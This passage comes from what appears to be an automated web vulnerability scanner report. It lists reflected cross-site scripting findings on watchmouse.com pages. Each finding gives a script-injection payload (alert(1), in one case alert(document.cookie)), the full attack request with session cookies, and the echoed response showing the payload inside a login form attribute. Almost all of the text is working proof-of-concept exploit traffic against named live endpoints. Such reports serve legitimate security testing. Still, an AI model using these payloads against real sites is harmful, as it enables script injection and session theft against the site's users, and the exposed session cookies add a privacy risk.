Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b3775c05e35f70796f4c0188c85f92b2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27765

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php?d0866"><script>alert(1)</script>fe36ffcfa4=1" method="post">
...[SNIP]...

1.563. http://www.watchmouse.com/en/widget/dashboard_widget.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/widget/dashboard_widget.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdbbc"><script>alert(1)</script>f36ee35a300 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /encdbbc"><script>alert(1)</script>f36ee35a300/widget/dashboard_widget.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-67fe828568362b4fdb1832b9d4096159"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/encdbbc"><script>alert(1)</script>f36ee35a300/widget/dashboard_widget.php" method="post">
...[SNIP]...

1.564. http://www.watchmouse.com/en/widget/dashboard_widget.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/widget/dashboard_widget.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db100"><script>alert(1)</script>14d92109fd6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/widgetdb100"><script>alert(1)</script>14d92109fd6/dashboard_widget.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-6c8d9c9aaba8883bf1e211fdbc776041"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13190

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/widgetdb100"><script>alert(1)</script>14d92109fd6/dashboard_widget.php" method="post">
...[SNIP]...

1.565. http://www.watchmouse.com/en/widget/dashboard_widget.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/widget/dashboard_widget.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1626f"><script>alert(1)</script>60aff5634f6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/widget/dashboard_widget.php1626f"><script>alert(1)</script>60aff5634f6 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-fe929af8461837e6cd274c539f4cc5f6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13190

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/widget/dashboard_widget.php1626f"><script>alert(1)</script>60aff5634f6" method="post">
...[SNIP]...

1.566. http://www.watchmouse.com/en/widget/dashboard_widget.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/widget/dashboard_widget.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b883b"><script>alert(1)</script>85b4d3fe122 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/widget/dashboard_widget.php?b883b"><script>alert(1)</script>85b4d3fe122=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-42bb8b1aaa6315af3bdc88b5cc2e302a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/widget/dashboard_widget.php?b883b"><script>alert(1)</script>85b4d3fe122=1" method="post">
...[SNIP]...

1.567. http://www.watchmouse.com/en/windows/site_monitor.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/windows/site_monitor.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 481cf"><script>alert(1)</script>023d955739d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en481cf"><script>alert(1)</script>023d955739d/windows/site_monitor.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e8874c20e682090d4e68ca5a4e64c9bc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13190

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en481cf"><script>alert(1)</script>023d955739d/windows/site_monitor.php" method="post">
...[SNIP]...

1.568. http://www.watchmouse.com/en/windows/site_monitor.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/windows/site_monitor.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d327d"><script>alert(1)</script>80c213ebca4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/windowsd327d"><script>alert(1)</script>80c213ebca4/site_monitor.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-de38f46f4ac18be49d90b581265cae03"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13163

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/windowsd327d"><script>alert(1)</script>80c213ebca4/site_monitor.php" method="post">
...[SNIP]...

1.569. http://www.watchmouse.com/en/windows/site_monitor.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/windows/site_monitor.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7d5b"><script>alert(1)</script>af8e0979594 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/windows/site_monitor.phpc7d5b"><script>alert(1)</script>af8e0979594 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f614e864a9258b2d1e0b21b6a2e35ee1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13163

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/windows/site_monitor.phpc7d5b"><script>alert(1)</script>af8e0979594" method="post">
...[SNIP]...

1.570. http://www.watchmouse.com/en/windows/site_monitor.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/windows/site_monitor.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20cc9"><script>alert(1)</script>02a7dcae9d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/windows/site_monitor.php?20cc9"><script>alert(1)</script>02a7dcae9d3=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-44f55f65ea8ad7859ce406a444d968b3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/windows/site_monitor.php?20cc9"><script>alert(1)</script>02a7dcae9d3=1" method="post">
...[SNIP]...

1.571. http://www.watchmouse.com/en/worldwide.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/worldwide.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc509"><script>alert(1)</script>d40910ae5f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /endc509"><script>alert(1)</script>d40910ae5f1/worldwide.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-202383e959579cead3e041f627fe4998"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/endc509"><script>alert(1)</script>d40910ae5f1/worldwide.php" method="post">
...[SNIP]...

1.572. http://www.watchmouse.com/en/worldwide.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/worldwide.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e070"><script>alert(1)</script>8f9c1b74449 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/worldwide.php3e070"><script>alert(1)</script>8f9c1b74449 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-56e0a2d65b22e9dda7f1ab797f7388fd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/worldwide.php3e070"><script>alert(1)</script>8f9c1b74449" method="post">
...[SNIP]...

1.573. http://www.watchmouse.com/en/worldwide.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/worldwide.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41bde"><script>alert(1)</script>c330fe7c84e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/worldwide.php?41bde"><script>alert(1)</script>c330fe7c84e=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-960d512525d5aadfede9ed6bc4b21f1c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/worldwide.php?41bde"><script>alert(1)</script>c330fe7c84e=1" method="post">
...[SNIP]...

1.574. http://www.watchmouse.com/es/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50843"><script>alert(1)</script>de419318d3b was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=150843"><script>alert(1)</script>de419318d3b HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-7544b909c71ca1b84e7fd5a691036b16"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=150843"><script>alert(1)</script>de419318d3b" method="post">
...[SNIP]...

1.575. http://www.watchmouse.com/es/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39bd2"><script>alert(1)</script>541767a909d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es39bd2"><script>alert(1)</script>541767a909d/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-738c1f82501e529dc0a8294d7aa8c73e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es39bd2"><script>alert(1)</script>541767a909d/" method="post">
...[SNIP]...

1.576. http://www.watchmouse.com/es/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8a07"><script>alert(1)</script>70e6b4480e5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/?a8a07"><script>alert(1)</script>70e6b4480e5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
